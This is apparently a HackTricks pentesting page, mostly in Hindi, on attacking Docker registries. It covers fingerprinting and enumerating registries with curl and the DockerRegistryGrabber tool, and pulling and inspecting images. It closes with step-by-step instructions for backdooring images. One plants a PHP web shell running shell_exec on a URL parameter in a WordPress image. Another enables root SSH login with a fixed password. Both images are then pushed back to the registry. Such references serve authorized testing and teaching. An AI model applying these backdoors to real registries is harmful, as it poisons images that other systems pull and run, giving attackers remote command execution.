5000 - Pentesting Docker Registry

Reading time: 10 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Basic Information

एक संग्रहण और वितरण प्रणाली जिसे Docker registry के रूप में जाना जाता है, Docker छवियों के लिए मौजूद है जो नामित हैं और कई संस्करणों में आ सकती हैं, जिन्हें टैग द्वारा अलग किया जाता है। ये छवियाँ Docker repositories के भीतर रजिस्ट्री में व्यवस्थित की जाती हैं, प्रत्येक रिपॉजिटरी एक विशिष्ट छवि के विभिन्न संस्करणों को संग्रहीत करती है। प्रदान की गई कार्यक्षमता उपयोगकर्ताओं को छवियों को स्थानीय रूप से डाउनलोड करने या रजिस्ट्री में अपलोड करने की अनुमति देती है, बशर्ते उपयोगकर्ता के पास आवश्यक अनुमतियाँ हों।

DockerHub Docker के लिए डिफ़ॉल्ट सार्वजनिक रजिस्ट्री के रूप में कार्य करता है, लेकिन उपयोगकर्ताओं के पास ओपन-सोर्स Docker रजिस्ट्री/वितरण का ऑन-प्रिमाइस संस्करण संचालित करने या व्यावसायिक रूप से समर्थित Docker Trusted Registry का विकल्प भी है। इसके अतिरिक्त, विभिन्न अन्य सार्वजनिक रजिस्ट्री ऑनलाइन उपलब्ध हैं।

एक ऑन-प्रिमाइस रजिस्ट्री से छवि डाउनलोड करने के लिए, निम्नलिखित कमांड का उपयोग किया जाता है:

bash
docker pull my-registry:9000/foo/bar:2.1

यह कमांड foo/bar इमेज संस्करण 2.1 को my-registry डोमेन पर पोर्ट 9000 पर ऑन-प्रिमाइस रजिस्ट्री से लाता है। इसके विपरीत, यदि 2.1 नवीनतम संस्करण है, तो DockerHub से उसी इमेज को डाउनलोड करने के लिए कमांड सरल हो जाता है:

bash
docker pull foo/bar

डिफ़ॉल्ट पोर्ट: 5000

PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)

खोज

इस सेवा को चलाते हुए खोजने का सबसे आसान तरीका nmap के आउटपुट में इसे प्राप्त करना है। वैसे, ध्यान दें कि चूंकि यह एक HTTP आधारित सेवा है, यह HTTP प्रॉक्सी के पीछे हो सकती है और nmap इसे पहचान नहीं पाएगा।
कुछ फिंगरप्रिंट:

  • यदि आप / पर पहुँचते हैं, तो प्रतिक्रिया में कुछ भी वापस नहीं किया जाता है
  • यदि आप /v2/ पर पहुँचते हैं, तो {} वापस किया जाता है
  • यदि आप /v2/_catalog पर पहुँचते हैं, तो आप प्राप्त कर सकते हैं:
  • {"repositories":["alpine","ubuntu"]}
  • {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}

गणना

HTTP/HTTPS

Docker registry को HTTP या HTTPS का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है। इसलिए आपको जो पहला काम करने की आवश्यकता हो सकती है, वह है यह पता लगाना कि कौन सा कॉन्फ़िगर किया जा रहा है:

bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}

Authentication

Docker registry को authentication की आवश्यकता के लिए भी कॉन्फ़िगर किया जा सकता है:

bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}

यदि Docker Registry प्रमाणीकरण की आवश्यकता है, तो आप इसे ब्रूट फोर्स करने की कोशिश कर सकते हैं.
यदि आप मान्य क्रेडेंशियल्स पाते हैं, तो आपको उनका उपयोग करना होगा रजिस्ट्री को एन्यूमरेट करने के लिए, curl में आप उनका उपयोग इस तरह कर सकते हैं:

bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog

Enumeration using DockerRegistryGrabber

DockerRegistryGrabber एक पायथन उपकरण है जो डॉकर रजिस्ट्री को सूचीबद्ध / डंप करने के लिए है (बिना या बुनियादी प्रमाणीकरण के साथ)

bash
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url

____   ____    ____
|  _ \ |  _ \  / ___|
| | | || |_) || |  _
| |_| ||  _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu

positional arguments:
url                URL

options:
-h, --help         show this help message and exit
-p port            port to use (default : 5000)

Authentication:
-U USERNAME        Username
-P PASSWORD        Password
-A header          Authorization bearer token

Actions:
--list
--dump_all
--dump DOCKERNAME  DockerName

Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all

python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888

Enumeration using curl

एक बार जब आप docker registry तक पहुँच प्राप्त कर लेते हैं तो यहाँ कुछ कमांड हैं जिनका आप इसका एन्यूमरेट करने के लिए उपयोग कर सकते हैं:

bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory

warning

ध्यान दें कि जब आप blobs फ़ाइलें और फ़ोल्डर डाउनलोड और डिकंप्रेस करते हैं, तो वर्तमान निर्देशिका में दिखाई देंगे। यदि आप सभी blobs डाउनलोड करते हैं और उन्हें एक ही फ़ोल्डर में डिकंप्रेस करते हैं, तो वे पहले से डिकंप्रेस किए गए blobs के मानों को ओवरराइट कर देंगे, इसलिए सावधान रहें। प्रत्येक blob को अलग-अलग फ़ोल्डर के अंदर डिकंप्रेस करना दिलचस्प हो सकता है ताकि प्रत्येक blob की सटीक सामग्री की जांच की जा सके।

Enumeration using docker

bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container

Backdooring WordPress image

उस परिदृश्य में जहाँ आपने एक Docker Registry पाया है जो एक wordpress इमेज को सहेज रहा है, आप इसे बैकडोर कर सकते हैं।
बैकडोर बनाएँ:

shell.php
<?php echo shell_exec($_GET["cmd"]); ?>

एक Dockerfile बनाएं:

Dockerfile
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php

नई छवि बनाएँ, जाँचें कि यह बनाई गई है, और पुश करें:

bash
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it

SSH सर्वर इमेज में बैकडोर डालना

मान लीजिए कि आपने एक Docker Registry पाया है जिसमें एक SSH इमेज है और आप इसमें बैकडोर डालना चाहते हैं।
डाउनलोड करें इमेज और चलाएं इसे:

bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli

SSH इमेज से sshd_config फ़ाइल निकालें:

bash
docker cp 4c989242c714:/etc/ssh/sshd_config .

और इसे सेट करने के लिए संशोधित करें: PermitRootLogin yes

एक Dockerfile इस तरह बनाएं:

bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd

नई इमेज बनाएँ, जांचें कि यह बनाई गई है, और पुश करें:

bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें